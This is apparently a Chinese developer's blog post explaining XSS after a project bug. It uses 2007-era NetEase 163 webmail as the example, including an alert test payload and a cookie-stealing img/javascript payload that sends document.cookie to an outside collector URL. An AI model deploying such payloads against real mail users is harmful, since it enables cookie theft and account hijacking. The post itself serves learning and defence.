上一个项目是个工作流项目。
我进去做技术架构,结果在最后出了个纰漏。测试发现框架没有对前台页面中的输入框做JS check。
也就是说,客户可以在前台画面的输入框中构造javascript,然后成功提交到后台写入DB。
系统安全这块,实在是我的短板。虽然后来用encode之类解决了问题,但是还是想搞清楚背后的故事。
背后其实就是XSS 跨站攻击,简单说起来就是JavaScript注入,和Sql注入类似,在画面的输入框上精心构造javascript,然后提交到出去。
当被执行的时候,就可以执行该JS,获取很多隐私数据。
玩这个东西绝对需要javascript的高手。以下以网易邮箱举例(07年的事情)
1.测试XSS
新建一个邮件,填好收件人和邮件主题,在正文的工具栏里有个勾选框可以编辑html格式的内容,如图
勾选后输入如下内容:<img dynsrc=javascript:alert(“hi,163”)>,如图
点击发送后再收取并打开刚刚的邮件,发现跳出一个对话框,很明显,在这里我们可以插入htm代码并成功运行。如图
2.获取cookie测试
当然,破坏者们的目标不是仅仅让它跳个对话框出来给人们一个惊讶,他们会想办法获得些敏感信息,比如cookie。
看下取得cookie的实验吧。同样新建一个邮件,填好收件人与主题,并勾选“编辑源码”,在正文里写入如下语句:
然后发送并收取mail,看看是什么?对的,把cookie都显示出来了。如图:
同样勾选“编辑源码”,填入以下内容:
<img dynsrc=javascript:window.location.href='http://yourwebsite.com/getcookie.asp?msg='+document.cookie>。
意思是访问你的服务器上getcookie.asp文件,这个文件用于收取访问者的cookie,收取后在你的服务器上生成指定文件。如图:
发送邮件并收取打开后如图: